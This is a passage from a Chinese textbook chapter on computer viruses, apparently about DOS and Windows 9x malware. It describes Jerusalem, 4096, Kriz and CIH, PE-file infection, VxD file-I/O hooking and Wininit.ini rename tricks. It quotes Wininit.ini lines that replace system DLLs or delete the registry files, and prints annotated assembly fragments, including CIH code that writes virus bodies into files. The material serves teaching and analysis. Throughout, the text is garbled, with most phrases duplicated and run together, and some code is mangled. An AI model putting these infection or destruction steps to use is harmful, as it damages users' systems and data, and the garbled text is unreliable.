49、程序开始处的原来的的原来的3B信息,虽然密码算法很简单,但为病毒信息,虽然密码算法很简单,但为病毒的治疗设置了障碍。的治疗设置了障碍。(3) Jerusalem 病毒别名:耶路撒冷、以色列、犹太人、病毒别名:耶路撒冷、以色列、犹太人、1813、黑色、黑色星期五星期五感染类型:感染类型:com文件、文件、exe文件、文件、ovl文件文件 病毒特征:对病毒特征:对com文件做单次感染,病毒代码放在文件做单次感染,病毒代码放在com文件的头部。对文件的头部。对exe文件做重复感染,可使文件做重复感染,可使exe文文件在重复感染中不断膨胀,占据大量磁盘空间。病毒件在重复感染中不断膨胀,占据大量磁盘空间

50、。病毒感染感染exe文件时,病毒代码贴附在文件时,病毒代码贴附在exe文件的尾部。文件的尾部。病毒中有一个毁灭性模块,可以使计算机内部数据乱病毒中有一个毁灭性模块,可以使计算机内部数据乱移,并有能力破坏移,并有能力破坏AT机中由电池供电的机中由电池供电的CMOS RAM区的信息。区的信息。(4) 病毒名:病毒名:Yankee Doodle病毒别名:杨基歌病毒别名:杨基歌感染类型:每一个可执行文件感染类型:每一个可执行文件病毒长度:病毒长度:2890+(015)B病毒特征:利用内存控制块病毒特征:利用内存控制块MCB常驻内存;病毒进常驻内存;病毒进驻内存以后,感染每一个可执行文件;在时间为驻内存

51、以后,感染每一个可执行文件;在时间为17:00时,如果病毒已常驻内存,将演奏杨基歌。时,如果病毒已常驻内存,将演奏杨基歌。(5) 病毒名:病毒名:4096病毒病毒(100年年) 病毒别名:病毒别名:100年年病毒长度:病毒长度:4096B病毒特征:病毒将自身藏在内存高端,它明明占用了病毒特征:病毒将自身藏在内存高端,它明明占用了内存区,可是当内存区,可是当BIOS检查内存容量时,却不能发现检查内存容量时,却不能发现病毒占用了内存空间。病毒占用了内存空间。受感染的文件头部被病毒篡改,如果病毒进驻内存时受感染的文件头部被病毒篡改,如果病毒进驻内存时用户查看文件头部数据,病毒将保存在别处的源文件用户

52、查看文件头部数据,病毒将保存在别处的源文件头部显示给用户,使之不能觉察。头部显示给用户,使之不能觉察。受感染的文件长度增加受感染的文件长度增加4KB,病毒在文件目录中做了,病毒在文件目录中做了标记。执行标记。执行MR命令时,病毒能识别哪些文件是感染命令时,病毒能识别哪些文件是感染过的,在显示该文件有关信息时,能把病毒修改过的过的,在显示该文件有关信息时,能把病毒修改过的文件长度、日期、文件头部隐藏起来,把正确的原数文件长度、日期、文件头部隐藏起来,把正确的原数值显示给用户看。该病毒含有密码,并且使用了高超值显示给用户看。该病毒含有密码,并且使用了高超的反动态跟踪技巧。病毒编写时,作者犯了一个错

53、误,的反动态跟踪技巧。病毒编写时,作者犯了一个错误,它忘记把文件年份、文件长度写入文件目录,从而严它忘记把文件年份、文件长度写入文件目录,从而严重损坏文件。重损坏文件。所谓混合型病毒,即既能感染引导区,又能感染文件所谓混合型病毒,即既能感染引导区,又能感染文件的病毒。但并非将文件型病毒和引导型病毒简单的叠的病毒。但并非将文件型病毒和引导型病毒简单的叠加在一起,其中有一个转换过程,这是最关键的。一加在一起,其中有一个转换过程,这是最关键的。一般采取以下方法:在文件中的病毒执行时将病毒写入般采取以下方法:在文件中的病毒执行时将病毒写入引导区,这是很容易理解的。染毒硬盘启动时,用引引导区,这是很容易

54、理解的。染毒硬盘启动时,用引导型病毒的方法驻留内存,但此时导型病毒的方法驻留内存,但此时DOS并未加载,无并未加载,无法修改法修改INT 21中断,也就无法感染文件,可以用这样中断,也就无法感染文件,可以用这样的办法,修改的办法,修改INT 8中断,保存中断,保存INT 21中断目前的地中断目前的地址,用址,用INT 8中断服务程序监测中断服务程序监测INT 21中断的地址是中断的地址是否改变,若改变则说明否改变,若改变则说明DOS已加载,则可修改已加载,则可修改INT 21中断指向病毒传染段。以上是混合型病毒关键之处。中断指向病毒传染段。以上是混合型病毒关键之处。7.1.3 混合型病毒混合型

55、病毒主要指针对主要指针对Windows 9x操作系统的病毒。现在的计操作系统的病毒。现在的计算机用户一般都安装算机用户一般都安装Windows操作系统。操作系统。 Windows病毒一般感染病毒一般感染Windows 9x系统,其中最典型的病毒系统,其中最典型的病毒有有CIH病毒。但这并不意味着可以忽略系统是病毒。但这并不意味着可以忽略系统是Windows NT系列包括系列包括 Windows 2000的计算机。一的计算机。一些些Windows病毒不仅在病毒不仅在Windows 9x上正常感染,还上正常感染,还可以感染可以感染Windows NT上的其他文件。主要感染的文上的其他文件。主要感染

56、的文件扩展名为件扩展名为exe、scr、dll、ocx等。等。7.2 Windows病毒分析病毒分析 7.2.1 Windows病毒的特点病毒的特点在早期版本的在早期版本的Windows中,中,DOS管理文件系统。而在管理文件系统。而在Windows 95/98/2000/NT中就不同了,中就不同了,Windows 95/98/2000/NT通过使用设备驱动和通过使用设备驱动和32位程序来管理位程序来管理传统文件系统。传统文件系统。Windows 95/98/2000/NT要求确保文要求确保文件系统的完整性。为了达到以上目的,禁止件系统的完整性。为了达到以上目的,禁止DOS程序程序(和传统病毒

57、和传统病毒)对硬盘进行直接读写,除非它们用特殊对硬盘进行直接读写,除非它们用特殊的的Windows专用代码。但是,在专用代码。但是,在Windows 95/98/2000/NT中允许中允许 DOS程序和病毒对软盘进行直程序和病毒对软盘进行直接读写。以上对病毒十分有利,对用户来说是十分不接读写。以上对病毒十分有利,对用户来说是十分不幸的;病毒仍然可以用相同的方式工作,如同在硬盘幸的;病毒仍然可以用相同的方式工作,如同在硬盘中工作一样。并且中工作一样。并且Windows 95/98/2000/NT很少能阻很少能阻止它。止它。当用户没有注意到用一张有病毒的软盘来引导时,病当用户没有注意到用一张有病毒

58、的软盘来引导时,病毒能感染毒能感染MBR。病毒将在每次计算机引导时装载,。病毒将在每次计算机引导时装载,在每次在每次DOS对话框时安装到系统中。这样当用户对软对话框时安装到系统中。这样当用户对软盘进行操作时,病毒可以将自身复制到另外的软盘,盘进行操作时,病毒可以将自身复制到另外的软盘,从而蔓延到其他的计算机。另外,和从而蔓延到其他的计算机。另外,和DOS一样,一样,Windows 95/98/2000/NT没有文件等级保护。利用文没有文件等级保护。利用文件进行传播的病毒仍然可以在件进行传播的病毒仍然可以在Windows 95/98/2000/NT下进行复制。这与其他的下进行复制。这与其他的32

59、位操作系位操作系统一样,例如统一样,例如OS/2,它们也允许对文件进行写操作。,它们也允许对文件进行写操作。这样,文件型病毒恰恰像它们在这样,文件型病毒恰恰像它们在DOS环境下一样进行环境下一样进行复制。复制。一些使一些使Windows 95/98/2000/NT有吸引力的新技术,有吸引力的新技术,实际上帮助病毒在整个网络中复制。例如工作组网络实际上帮助病毒在整个网络中复制。例如工作组网络环境十分容易地使病毒快速传播。再有,由于环境十分容易地使病毒快速传播。再有,由于Windows 95/98/2000/NT没有文件等级保护,如果在没有文件等级保护,如果在网络中的计算机被病毒感染,在对等网络中

60、共享的没网络中的计算机被病毒感染,在对等网络中共享的没有被保护的驱动器和文件将很快被感染。有被保护的驱动器和文件将很快被感染。随着随着Windows操作系统的流行,也催生了如下新型病操作系统的流行,也催生了如下新型病毒。毒。OLE 2 (Object Linking and Embedded)病毒:这种类病毒:这种类型的病毒通过将自己假扮成公共服务的一个型的病毒通过将自己假扮成公共服务的一个 OLE2服服务器来进行传播。之后,当一个务器来进行传播。之后,当一个OLE2客户申请一个客户申请一个OLE2服务器来提供公共服务时,实际上病毒取得了服务器来提供公共服务时,实际上病毒取得了控制权。它能将自

61、己复制到其他文件和计算机,之后控制权。它能将自己复制到其他文件和计算机,之后运行它替换了的原有运行它替换了的原有OLE2服务器。这个应用程序甚服务器。这个应用程序甚至不知道自己是同另一个病毒进行至不知道自己是同另一个病毒进行“通话通话”,而不是,而不是实际上的实际上的OLE2服务器。如果这个服务器。如果这个OLE2服务器在一服务器在一个完全不同网络计算机,这个病毒能很快地在网络上个完全不同网络计算机,这个病毒能很快地在网络上传播。传播。扩展扩展Shell病毒:病毒: Microsoft使这种使这种Shell在在Windows系系统中完全扩展来允许自定义。从技术上讲,病毒能成统中完全扩展来允许自

62、定义。从技术上讲,病毒能成为其中的一个扩展,因为为其中的一个扩展,因为Windows 95对于扩展对于扩展Shell不需要确认,因此病毒可以写成一种扩展不需要确认,因此病毒可以写成一种扩展 Shell,这,这样就可以取得控制权并且复制自身。样就可以取得控制权并且复制自身。虚拟设备驱动病毒虚拟设备驱动病毒VxD病毒病毒(Virtual Device Driver): Windows系统系统VxD对整个计算机具有完全控制权。如对整个计算机具有完全控制权。如果通过编制特定程序,它可以直接对硬盘进行写操作。果通过编制特定程序,它可以直接对硬盘进行写操作。它具有写它具有写Windows系统系统 Kern

63、el模块相同的特权,因模块相同的特权,因此它具有广泛的自由来控制系统。在此它具有广泛的自由来控制系统。在Windows系统中系统中增加了动态装载增加了动态装载VxD能力,是指一个能力,是指一个VxD,不需要每,不需要每次都在内存中,而是在系统需要时。这意味着病毒可次都在内存中,而是在系统需要时。这意味着病毒可以用一段很小的代码来激活一个动态以用一段很小的代码来激活一个动态VxD,这可以导,这可以导致严重的系统崩溃。因为致严重的系统崩溃。因为Windows 95/98对对VxD的行的行为没有限制,因此为没有限制,因此VxD病毒可以绕过所采用的任何保病毒可以绕过所采用的任何保机制。机制。另外一种可

64、能产生病毒的原因是另外一种可能产生病毒的原因是Windows的易操作编的易操作编程工具的流行。过去,病毒的编制者需要了解大量的程工具的流行。过去,病毒的编制者需要了解大量的关于汇编和操作系统的知识来创建关于汇编和操作系统的知识来创建TSR程序来进行复程序来进行复制。对于制。对于Windows来说,许多新手可以用可视化开发来说,许多新手可以用可视化开发工具的高级语言来编写病毒,因为它们更像用户运行工具的高级语言来编写病毒,因为它们更像用户运行的其他程序,因此很难检测出来。的其他程序,因此很难检测出来。(1) 感染感染 任何一个病毒都需要有寄主,而把病毒代码加入寄主任何一个病毒都需要有寄主,而把病

65、毒代码加入寄主程序中(伴侣病毒除外)。在程序中(伴侣病毒除外)。在Windows操作系统中,操作系统中,一般文件型病毒是以一般文件型病毒是以PE文件作为病毒代码的寄主程文件作为病毒代码的寄主程序,病毒的感染过程,就是病毒侵入序,病毒的感染过程,就是病毒侵入PE文件的过程。文件的过程。7.2.2 Windows病毒的运行机制病毒的运行机制(2) 分配驻留所需内存分配驻留所需内存对于驻留形的病毒,分配驻留所需内存是必需的。在对于驻留形的病毒,分配驻留所需内存是必需的。在DOS下使用由于所有的应用程序都映射在相同的线性下使用由于所有的应用程序都映射在相同的线性地址空间里,使用一般的内存分配调用就足够

66、了。而地址空间里,使用一般的内存分配调用就足够了。而在在Win 32下,每个应用程序都有自己的线性地址空间下,每个应用程序都有自己的线性地址空间,必须使用特殊的函数分配,必须使用特殊的函数分配2GB以上的系统地址。以上的系统地址。(3) 截留截留FILE I/O操作操作 驻留型的病毒通过截留驻留型的病毒通过截留FILE I/O来激活,可以通过使来激活,可以通过使用用VxD服务服务IFSMgr_InstallFileSystemAPIHook(如(如CIH)或截留或截留VxDCall中的中的DOS Services callback(如(如HPS)实现。)实现。 Windows中截留文件中截留文

67、件I/O操作在病毒中使用的主要有操作在病毒中使用的主要有两种:两种: 使用使用VxDCallIFSMgr_InstallFileSystemHook。 截留截留Kernel32.dll中导出的第一个函数中导出的第一个函数VxDCall对对DOS INT 21的呼叫(的呼叫(EAX=2A0010)。)。 VxDCall的代码如下:的代码如下: mov eax,dword ptr esp+04 pop dword ptr esp call fword ptr cs:xxxxxxxx只要将这个地址指向的地址改为自己的过程入口,就只要将这个地址指向的地址改为自己的过程入口,就捕获了所有的捕获了所有的V

68、xDCall。进入这个过程时:进入这个过程时: eax=service number,如果是,如果是DOS INT 21将是将是2A0010 esp2c调用调用Int 21时时eax的值的值 其他寄存器为调用时所需的值(段寄存器无用)。以其他寄存器为调用时所需的值(段寄存器无用)。以后的就和在后的就和在DOS下写病毒没有差别了。下写病毒没有差别了。1. 利用利用Wininit.ini文件技术文件技术Wininit.ini文件属于文件属于Windows启动配置文件,主要用启动配置文件,主要用于对一些在于对一些在Windows运行过程中无法进行删除、更名运行过程中无法进行删除、更名或更新等操作的文

69、件在启动过程中进行上述操作,它或更新等操作的文件在启动过程中进行上述操作,它存在的时间很短,操作完成后即被自动删除。存在的时间很短,操作完成后即被自动删除。Wininit.ini文件的格式简述如下:文件的格式简述如下:Wininit.ini文件有文件有3个可能的段,其中个可能的段,其中“rename”段的格式为:段的格式为:7.2.3 Windows病毒编制的关键技术病毒编制的关键技术renamefilename1=filename2行行“filename1=filename2”相当于依次执行相当于依次执行“copy filename2 filename1”及及“del filename2”这

70、两个这两个DOS命令。命令。启动时,启动时,Windows将用将用filename2覆盖覆盖filename1,再,再删除删除filename2,这就实现了用,这就实现了用filename2更新更新filename1的目的,如果的目的,如果filename1不存在,实际结果不存在,实际结果是将是将filename2改名为改名为filename1;如果要删除文件,;如果要删除文件,可令可令filename1为为nul。在在Windows中,一个可执行文件如果正在运行或某个中,一个可执行文件如果正在运行或某个库文件(库文件(*.dll、*.vxd、*.sys等)正在被打开使用,等)正在被打开使用,

71、则不能被改写或删除。例如,在资源管理器中无法删则不能被改写或删除。例如,在资源管理器中无法删除除explorer.exe,或者在,或者在Windows的的GDI界面下,删界面下,删除显示驱动程序库文件、文件子系统库文件等。若要除显示驱动程序库文件、文件子系统库文件等。若要对这些文件进行升级,改动,就必须在对这些文件进行升级,改动,就必须在Windows保护保护模式核心启动前进行,即利用基于模式核心启动前进行,即利用基于Wininit.ini文件的文件的一个机制来完成这个任务。一个机制来完成这个任务。这个机制是:将删除或改写这类文件的应用程序按一这个机制是:将删除或改写这类文件的应用程序按一定的

72、格式把命令写入定的格式把命令写入 Wininit.ini,Windows在重启时,在重启时,将在将在Windows目录下搜索目录下搜索Wininit.ini文件,如果找到,文件,如果找到,就遵照该文件指令删除、改名、更新文件,完成任务就遵照该文件指令删除、改名、更新文件,完成任务后,将删除后,将删除Wininit.ini文件本身,继续启动过程。所文件本身,继续启动过程。所以以Wininit.ini文件中的指令只会被执行一次,列目录文件中的指令只会被执行一次,列目录时也通常没有它的踪影。时也通常没有它的踪影。Windows病毒在感染文件时,也碰到了这样一个问题,病毒在感染文件时,也碰到了这样一个

73、问题,某些文件,因为系统正在使用,不能被改写和感染,某些文件,因为系统正在使用,不能被改写和感染,早期的早期的Windows病毒如病毒如CIH病毒采用病毒采用VxD技术来解决技术来解决这个问题,这易造成系统不稳定,后期的病毒大多采这个问题,这易造成系统不稳定,后期的病毒大多采用用Windows提供的标准方法提供的标准方法Wininit.ini文件来解文件来解决这个问题。如下几种新出现的决这个问题。如下几种新出现的Windows病毒即使用病毒即使用了这种方法。了这种方法。(1) Win32.Kriz“Win32.Kriz”病毒又叫病毒又叫“圣诞节圣诞节”病毒,内存驻留型,病毒,内存驻留型,具有多

74、形性且极端危险,在具有多形性且极端危险,在12月月25日发作时将改写日发作时将改写CMOS,覆盖所有驱动器上的所有文件,然后用,覆盖所有驱动器上的所有文件,然后用CIH病毒中的同样程序破坏主板上病毒中的同样程序破坏主板上Flash BIOS,该病毒感,该病毒感染染exe(PE格式)和格式)和scr文件,同时为了监控所有文件文件,同时为了监控所有文件操作,它感染操作,它感染Kernel32.dll,接管文件复制、打开、,接管文件复制、打开、移动等文件存取函数,由于移动等文件存取函数,由于kernel32.dll文件在文件在Windows运行时只能以只读方式打开,为感染它,该运行时只能以只读方式打

75、开,为感染它,该病毒将它复制一份,名为病毒将它复制一份,名为Krizeo.tt6,然后感染复制,然后感染复制品品Krizeo.tt6,写,写Rename指令到指令到Wininit.ini文件中,文件中,下次机器启动时,下次机器启动时,Krizeo.tt6将替代原来的将替代原来的Kernel32.dll完成感染。完成感染。(2) Supp1.A蠕虫蠕虫“Supp1.A”是一个是一个Word宏蠕虫,通过在发出的宏蠕虫,通过在发出的E-mail中插入一个特洛伊文档作为附件传播。当被打开中插入一个特洛伊文档作为附件传播。当被打开时病毒复制文档到时病毒复制文档到Anthrax.ini,把要展开的数据写到

76、,把要展开的数据写到文件文件dll.lzh,并解压为,并解压为dll.tmp,以上文件都放在,以上文件都放在Windows目录下。接下来这个蠕虫创建一个具有如下目录下。接下来这个蠕虫创建一个具有如下内容的内容的Wininit.ini文件。文件。renamenul=c:windowsdll.lzhc:windowssystemwsock33.dll=c:windowssystemwsock32.dllc:windowssystemwsock32.dll=c:windowsdll.tmp(3) Heathen病毒病毒“Heathen病毒病毒”是一个多平台病毒,感染是一个多平台病毒,感染Word文档

77、文档和和PE格式的格式的exe文件。为了感染文件。为了感染explorer.exe,病毒先,病毒先把把explorer.exe复制为复制为heathen.vex,然后加一条,然后加一条“rename”指令到指令到Wininit.ini文件,例如:文件,例如:renamec:windowsexplorer.exe=c:windowsheathen.vex下次启动时,下次启动时,Windows将帮助它完成对将帮助它完成对Explorer.exe的感染。另外,该病毒发作时也使的感染。另外,该病毒发作时也使Wininit.ini来删除来删除Windows注册表文件注册表文件:renamenul=c:w

78、indowssystem.datnul=c:windowsuser.dat(4) Win95.SK“Win95.SK”是最凶狠、最狡猾的病毒之一,原有一是最凶狠、最狡猾的病毒之一,原有一些些BUG,现在已出现了更新版本,纠正了第一个版,现在已出现了更新版本,纠正了第一个版本中的所有本中的所有BUG。它是一个寄生性的。它是一个寄生性的Windows病毒,病毒,可感染可感染Windows PE格式文件、格式文件、HLPE帮助文件、压帮助文件、压缩包文件(缩包文件(rar、xip、arj、ha)。它采用了许多新的)。它采用了许多新的高级技术,如:自身加密解密技术,入口点隐藏技术高级技术,如:自身加密

79、解密技术,入口点隐藏技术等,当磁盘上文件被访问时,它检查其文件名,如果等,当磁盘上文件被访问时,它检查其文件名,如果是几个反病毒程序的名字(是几个反病毒程序的名字(DINF、AVPI、AVP、VBA、DRWEB),该病毒将删除从),该病毒将删除从C:盘到:盘到Z:盘:盘的所有目录下的所有能被删除的文件,然后,调用函的所有目录下的所有能被删除的文件,然后,调用函数数Fatal_Error_Handler使系统死机。使系统死机。Windows Shell文件文件explorer.exe是是Windows病毒必争病毒必争之地,该病毒自然不会放过,但比其他病毒更加完善,之地,该病毒自然不会放过,但比其

80、他病毒更加完善,它通过从它通过从system.ini文件中的文件中的“Shell=”行来获得行来获得Shell文件名,这样,即使将文件名,这样,即使将explorer.exe改名,在改名,在Shell中指定实际的文件名,期望借此避免被感染,中指定实际的文件名,期望借此避免被感染,也是徒劳,它感染也是徒劳,它感染Shell文件的具体步骤是:以文件的具体步骤是:以explorer.exe为例,把为例,把explorer.exe复制为复制为explorer.exf,然后感染,然后感染explorer.exf、再创建、再创建Wininit.ini文件,写文件,写入合适的入合适的rename指令,这与其

81、他病毒的作法相同。指令,这与其他病毒的作法相同。2. 利用利用PE文件结构文件结构在在Windows 9x/NT/2000下,所有的可执行文件都是下,所有的可执行文件都是基于基于Microsoft设计的一种新的文件格式设计的一种新的文件格式Portable Executable File Format(可移植的执行体),即(可移植的执行体),即PE格式。有些病毒程序采用同格式。有些病毒程序采用同DOS文件型病毒相似的方文件型病毒相似的方法攻击法攻击PE格式的文件,对格式的文件,对PE格式的文件进行修改,格式的文件进行修改,使病毒体侵入和隐藏在该类文件中。使病毒体侵入和隐藏在该类文件中。(1)

82、PE文件框架构成文件框架构成 PE文件结构的总体层次分布如图文件结构的总体层次分布如图7.1所示。所示。装载一个装载一个PE文件主要经过下列文件主要经过下列4步:步: PE文件被执行,文件被执行,PE装载器检查装载器检查 DOS MZ header里的里的 PE header偏移量。如果找到,则跳转到偏移量。如果找到,则跳转到 PE header。 PE装载器检查装载器检查 PE header的有效性。如果有效,的有效性。如果有效,就跳转到就跳转到PE header的尾部。的尾部。 紧跟紧跟 PE header的是节表。的是节表。PE装载器读取其中的装载器读取其中的节信息,并采用文件映射方法将

83、这些节映射到内存,节信息,并采用文件映射方法将这些节映射到内存,同时附上节表里指定的节属性。同时附上节表里指定的节属性。图图7.1 PE文件结构总体层次文件结构总体层次DOS MZ headerDOS stubPE headerSection tableSection 1Section 2Section Section n PE文件映射入内存后,文件映射入内存后,PE装载器将处理装载器将处理PE文件文件中类似中类似 import table(引入表)逻辑部分。(引入表)逻辑部分。 (2) 病毒程序编制技术病毒程序编制技术针对针对PE型文件结构,病毒程序常用的方法是:型文件结构,病毒程序常用的方

84、法是: 确定病毒程序的位置,可以通过如下代码完成:确定病毒程序的位置,可以通过如下代码完成:call GetVirAddrGetVirAddr:pop ebp 使得使得ebp指向指向GetVirAddr。要想把变量。要想把变量Var1送入送入eax,使用如下代码:,使用如下代码:mov eax,ebp+Var1-GetVirAddr 获取获取Kernel32的的API。通用的技术是从。通用的技术是从4GB的地址的地址空间中搜索空间中搜索Kernel32的基地址,然后从的基地址,然后从Kernel32的的export table中找到所需要的中找到所需要的API的地址。把的地址。把API地址地址

85、存在一个数组里,然后可以用下面方法调用。存在一个数组里,然后可以用下面方法调用。push large param_n.push large param_1call ebp+Func-GetVirAddr 分配一块内存(分配一块内存(VirtualAlloc),把自己复制进去,),把自己复制进去,用用CreateThread在那里启动一个线程,然后返回。这在那里启动一个线程,然后返回。这可以通过如下代码完成:可以通过如下代码完成:push large hostentry ;here will be filled when infectingretn 或者或者mov eax,hostentry;h

86、ostentry存放的是感染时原程序的存放的是感染时原程序的entry pointjmp eax 进行病毒感染。利用进行病毒感染。利用FindFirstFile、FindNextFile、FindClose这这3个个API对硬盘文件反复搜索,找到一个对硬盘文件反复搜索,找到一个可感染文件就感染一个,直到全部可感染文件感染完。可感染文件就感染一个,直到全部可感染文件感染完。采用这种方式编制的病毒如采用这种方式编制的病毒如PurpleMood (紫色心情紫色心情)。该病毒感染长度该病毒感染长度6736字节,感染本地硬盘和网络上所字节,感染本地硬盘和网络上所有有exe(GUI)文件,且搜索本地所有邮

87、件地址,将病毒文件,且搜索本地所有邮件地址,将病毒作为附件发送出去,在作为附件发送出去,在Explorer进程中加入线程监控进程中加入线程监控程序的运行。程序的运行。该病毒程序首先得到重定位信息,并将其保存在该病毒程序首先得到重定位信息,并将其保存在ebx中;然后调用中;然后调用GetKBase,获得,获得Kernel32.dll的基地址,的基地址,通过调用通过调用GetAPIz,得到程序将使用的,得到程序将使用的Kernel32中所中所有有API;再调用;再调用PayLoad判断是否满足发作条件,若判断是否满足发作条件,若满足条件,则删除所有文件,否则继续;接下来,判满足条件,则删除所有文件

88、,否则继续;接下来,判断是被感染文件还是自身(病毒在系统目录创建断是被感染文件还是自身(病毒在系统目录创建PurpleMood.scr):若是染毒文件,则调用):若是染毒文件,则调用CreatePE来创建来创建PurpleMood.scr,初始化(,初始化(rtInit)写注册表)写注册表项所需函数地址,调用项所需函数地址,调用MakeSCRAlive使使PurpleMood.scr保持活动;如果是保持活动;如果是PurpleMood.scr,则则CreateMutex设置标志,然后启动监控线程,感染设置标志,然后启动监控线程,感染PE线程,在主线程中发送邮件。线程,在主线程中发送邮件。3.

89、利用注册表技术利用注册表技术注册表是一个庞大的数据库,用来存储计算机软硬件注册表是一个庞大的数据库,用来存储计算机软硬件的各种配置数据。注册表中记录了用户安装在计算机的各种配置数据。注册表中记录了用户安装在计算机上的软件和每个程序的相关信息,用户可以通过注册上的软件和每个程序的相关信息,用户可以通过注册表调整软件的运行性能、检测和恢复系统错误、定制表调整软件的运行性能、检测和恢复系统错误、定制桌面等。因而掌握了注册表,即掌握了对计算机配置桌面等。因而掌握了注册表,即掌握了对计算机配置的控制权。因此,病毒程序可以通过修改、掌握注册的控制权。因此,病毒程序可以通过修改、掌握注册表,来达到控制计算机

90、的目的。表,来达到控制计算机的目的。这类方法常用的有修改注册表的键值、锁定注册表等。这类方法常用的有修改注册表的键值、锁定注册表等。4. 虚拟设备驱动程序(虚拟设备驱动程序(VxD)VxD是一个管理如硬件设备或者已安装软件等系统资是一个管理如硬件设备或者已安装软件等系统资源的源的32位可执行程序,使得几个应用程序可以同时使位可执行程序,使得几个应用程序可以同时使用这些资源。用这些资源。Windows通过使用通过使用VxD允许基于允许基于Windows的应用程序实现多任务。的应用程序实现多任务。VxD在与在与Windows的连接工作中处理中断,并为需要进行的连接工作中处理中断,并为需要进行I/O

91、操作的应操作的应用程序执行用程序执行I/O操作,而且不影响其他应用程序的执操作,而且不影响其他应用程序的执行。大多数行。大多数VxD管理硬件设备,也有一些管理硬件设备,也有一些VxD管理或管理或代替与之相关的软件,例如普通代替与之相关的软件,例如普通ROM BIOS。VxD可以包含必须在相应设备上执行的设备相关代码,可以包含必须在相应设备上执行的设备相关代码,也可以依靠其他软件去执行这些对设备的操作。任何也可以依靠其他软件去执行这些对设备的操作。任何情况下,情况下,VxD都会为每一个应用程序保留该设备状态都会为每一个应用程序保留该设备状态的记录,保证无论何时一个应用程序继续执行该设备的记录,保

92、证无论何时一个应用程序继续执行该设备均处于正确状态。一些均处于正确状态。一些VxD仅仅管理已安装软件,例仅仅管理已安装软件,例如如MS-DOS设备驱动程序或者设备驱动程序或者TSR程序,这样的程序,这样的VxD通常包含仿真这些软件或者保护这些软件用于正在运通常包含仿真这些软件或者保护这些软件用于正在运行的应用程序的数据的代码。行的应用程序的数据的代码。VxD有时还用于提高已有时还用于提高已安装软件的性能,安装软件的性能,Intel兼容兼容CPU执行执行32位的位的VxD比执比执行行16位的位的MS-DOS设备驱动程序或者设备驱动程序或者TSR程序有更高程序有更高的效率。的效率。其实,其实,Vx

93、D不仅仅可以用来控制硬件设备,因为不仅仅可以用来控制硬件设备,因为VxD工作在工作在80386保护模式保护模式Ring 0特权级(最高特权级)特权级(最高特权级)上,而一般的应用程序工作在上,而一般的应用程序工作在Ring 3特权级(最低特特权级(最低特权级)上,所以权级)上,所以VxD可以完成许多可以完成许多API不能完成的功不能完成的功能,例如端口读写、物理内存读写、中断调用、能,例如端口读写、物理内存读写、中断调用、API拦截等。因此,在拦截等。因此,在Windows系统的病毒编制技术中,系统的病毒编制技术中,通过编制一个通过编制一个VxD病毒程序或编制一小段病毒程序代病毒程序或编制一小

94、段病毒程序代码来来激活一个动态码来来激活一个动态VxD,使得系统瘫痪,也是常见,使得系统瘫痪,也是常见方法之一。由于方法之一。由于Windows系统对系统对VxD的行为没有限制,的行为没有限制,因此因此VxD病毒可以绕过所采用的任何保机制,所以此病毒可以绕过所采用的任何保机制,所以此种病毒相当恶毒。种病毒相当恶毒。此类典型病毒即为此类典型病毒即为CIH病毒。该病毒使用面向病毒。该病毒使用面向Windows的的VxD技术编制,主要感染技术编制,主要感染Windows操作系操作系统下的可执行文件(统下的可执行文件(exe、com、vxd、vxe),并且),并且在在DOS、Windows 3.2及及

95、Windows NT中无效,感染中无效,感染后的文件大小根本没有变化,病毒代码的大小在后的文件大小根本没有变化,病毒代码的大小在1KB左右。由于左右。由于CIH病毒独特地使用了病毒独特地使用了VxD技术,使得这技术,使得这种病毒在种病毒在Windows环境下传播,使用一般反病毒软件环境下传播,使用一般反病毒软件很难发现这种病毒在系统中的传播。很难发现这种病毒在系统中的传播。CIH病毒程序部病毒程序部分代码如下:分代码如下:lea eax, (LastVxDCallAddress-2-9)esi;上一个调用上一个调用VxD的指的指令的地址令的地址 mov cl, VxDCallTableSize

96、 ;所用所用VxD调用的个数调用的个数 LoopOfRestoreVxDCallID: mov word ptr eax, 20cdh ;还原成还原成int 20h的形式的形式 mov edx, (VxDCallIDTable+(ecx-1)*04h-9)esi ;从从VxDCallIDTable取出取出VxD调用的调用的id号放到号放到edxmov eax+2, edx;放到放到int 20h的后面的后面,形成形成int 20h and the Service Identifier的形式的形式 movzx edx, byte ptr (VxDCallAddressTable+ecx19)es

97、i ;VxDCallAddressTable中放着各个调用中放着各个调用VxD的指令的地址之差的指令的地址之差 sub eax, edx;eax为上一个调用地址为上一个调用地址 loop LoopOfRestoreVxDCallID ;还原其他的调用还原其他的调用WriteVirusCodeToFile: mov eax, dr1;dr1为前面所保存的为前面所保存的esp mov ebx, eax+10h ;ebx为保存在栈中的保存文件句柄为保存在栈中的保存文件句柄 mov edi, eax;edi为保存在栈中的为保存在栈中的IFSMgr_Ring0_FileIO调用调用的地址的地址 Loop

98、OfWriteVirusCodeToFile: pop ecx;病毒代码各段的偏移病毒代码各段的偏移 jecxz SetFileModificationMark;到病毒偏移零为止到病毒偏移零为止 mov esi, ecx mov eax, 0d601h;写文件功能号写文件功能号(R0_WRITEFILE) pop edx;文件指针文件指针 pop ecx;要写的字节数要写的字节数 call edi;VxDCall IFSMgr_Ring0_FileIO;写文件写文件,依次写入依次写入:各段病毒代码各段病毒代码,病毒块表病毒块表,新的文件块表新的文件块表,新的新的程序入口程序入口,感染标志感染标

99、志 jmp LoopOfWriteVirusCodeToFile在在CIH病毒代码中,全部系统调用都是采用病毒代码中,全部系统调用都是采用VxD调用,调用,这种方法编制的病毒代码与其他方法编制的病毒代码这种方法编制的病毒代码与其他方法编制的病毒代码比较而言,病毒代码更加底层,效率更高。特别是和比较而言,病毒代码更加底层,效率更高。特别是和用用API函数编制的病毒相比不需考虑病毒自身的复杂函数编制的病毒相比不需考虑病毒自身的复杂重定位过程,和使用中断编制的病毒相比更能防止对重定位过程,和使用中断编制的病毒相比更能防止对程序的跟踪分析。程序的跟踪分析。CIH病毒分为驻留、感染、发作病毒分为驻留、感

100、染、发作3个主要模块。病毒个主要模块。病毒感染时查找感染对象文件的各块之间的空白区域,把感染时查找感染对象文件的各块之间的空白区域,把病毒自己的各种数据结构和代码写到其中。病毒自己的各种数据结构和代码写到其中。病毒的有关操作需要病毒的有关操作需要0级的权限,所以病毒一开始就级的权限,所以病毒一开始就设法获得设法获得0级权限,监测驻留情况,用级权限,监测驻留情况,用VxD调用分配调用分配内存,并完成驻留。随后病毒安装文件系统钩子程序内存,并完成驻留。随后病毒安装文件系统钩子程序(指向感染模块指向感染模块),并保存原来的钩子指针,钩子程序,并保存原来的钩子指针,钩子程序将在所有的文件操作中被激活,

